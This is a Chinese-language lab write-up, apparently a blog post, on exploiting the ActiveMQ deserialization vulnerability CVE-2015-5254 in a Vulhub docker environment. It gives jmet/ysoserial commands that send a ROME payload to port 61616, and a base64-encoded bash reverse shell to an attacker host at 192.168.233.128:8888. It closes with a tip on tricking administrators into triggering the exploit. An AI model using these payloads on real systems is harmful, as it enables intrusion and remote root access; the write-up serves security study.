Vulhub漏洞之ActiveMQ 反序列化任意命令执行漏洞 (CVE-2015-5254)

Vulhub漏洞之ActiveMQ 反序列化任意命令执行漏洞 (CVE-2015-5254)


一、搭建环境

1、安装好docker和vulhub
如何搭建vulhub靶场的链接

pip install docker-compose

git clone git://github.com/vulhub/vulhub.git

之后进入相应目录

cd vulhub/activemq/CVE-2015-5254/

启动环境

docker-compose up -d

如果环境启动失败,有可能是因为源没有换成国内的。

进入这个目录

cd /ect/docker/daemon.json

将源换成阿里云

{
 "registry-mirrors":["https://6kx4zyno.mirror.aliyuncs.com"]
}

重启docker服务

systemctl daemon-reload 
systemctl restart docker

二、利用

受害机:192.168.233.129
攻击机:192.168.233.128

运行环境后,会在端口61616和8161上建立两个端口。端口61616是工作端口,消息在这个端口上传递。8161端口为网页管理页面端口。访问http://your-ip:8161,可以看到网管页面,但是这个漏洞理论上不需要网络。
环境启动成功后可以看到的页面
漏洞利用过程如下:

1. 生成序列化的有效载荷(你可以使用 ysoserial)
2. 将有效负载发送到端口 61616
3. 访问网页管理页面并阅读序列化消息,然后您可以触发漏洞。

为了利用这个环境,我们将使用jmet(Java Message Exploitation Tool)。首先下载jmet的jar文件,在同一目录下创建名为external的文件夹(否则可能会出现文件夹不存在的错误)。

jmet是使用ysoserial生成Payload并发送(ysoserial自带jar,我们不需要再下载了),所以我们需要选择一个可以在ysoserial中使用的gadget,比如ROME .

之后在另一台主机构造如下payload:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616

your-ip 改成受害方的ip地址
在这里插入图片描述

此时,一个名为 event 的队列将被添加到目标 ActiveMQ 中。

之后在受害方的浏览器访问url以查看此队列中的所有消息。

http://127.0.0.1:8161/admin/browse.jsp?JMSDestination=Event

(登录名/密码: admin/admin)
在这里插入图片描述
点击一下id进入查看即可触发漏洞
在这里插入图片描述
进入容器

docker-compose exec activemq bash

查看tmp目录下有相应文件,利用成功
在这里插入图片描述
kali反弹shell:
bash -i >& /dev/tcp/192.168.233.128/8888 0>&1 base64编码得到

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xMjgvODg4OCAwPiYx

payload如下

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xMjgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.233.128 61616

攻击方监听8888端口
在这里插入图片描述
成功拿到root权限


总结

值得注意的是,通过网页管理页面访问消息并触发漏洞需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接来触发,或者伪装成来自其他服务的合法消息需要等待客户端访问时才触发。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

泡泡玛特️

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值